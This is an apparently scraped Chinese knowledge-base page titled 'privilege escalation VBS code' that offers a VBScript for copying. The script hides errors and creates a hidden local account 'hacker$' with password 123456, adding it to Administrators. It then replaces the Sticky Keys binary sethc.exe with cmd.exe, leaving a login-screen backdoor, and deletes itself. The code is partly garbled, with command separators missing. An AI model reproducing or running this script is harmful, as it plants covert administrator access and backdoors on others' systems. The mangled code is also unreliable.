主頁 > 知識庫 > 提權(quán)vbs代碼

提權(quán)vbs代碼

熱門標(biāo)簽:服務(wù)器配置 美圖手機(jī) 銀行業(yè)務(wù) 檢查注冊表項 呼叫中心市場需求 網(wǎng)站文章發(fā)布 鐵路電話系統(tǒng) 智能手機(jī)
復(fù)制代碼 代碼如下:

on error resume next
dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments
(0):password=Wscript.Arguments(1):Else:username="hacker$":password="123456":end if:set
wsnetwork=CreateObject("WSCRIPT.NETWORK"):os="WinNT://"wsnetwork.ComputerName:Set ob=GetObject
(os):Set oe=GetObject(os"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword
password:od.SetInfo:Set of=GetObject(os"/"username",user"):oe.Add(of.ADsPath)'wscript.echo
of.ADsPath
On Error Resume Next
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exeecho y| cacls %SystemRoot%
\system32\sethc.exe /G %USERNAME%:Fcopy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32
\acmd.execopy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exedel %SystemRoot%
\system32\sethc.exeren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)

標(biāo)簽:河南 樂山 長治 沈陽 紅河 上海 新疆 滄州

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《提權(quán)vbs代碼》,本文關(guān)鍵詞  ;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請?zhí)峁┫嚓P(guān)信息告之我們,我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 收縮
    • 微信客服
    • 微信二維碼
    • 電話咨詢

    • 400-1100-266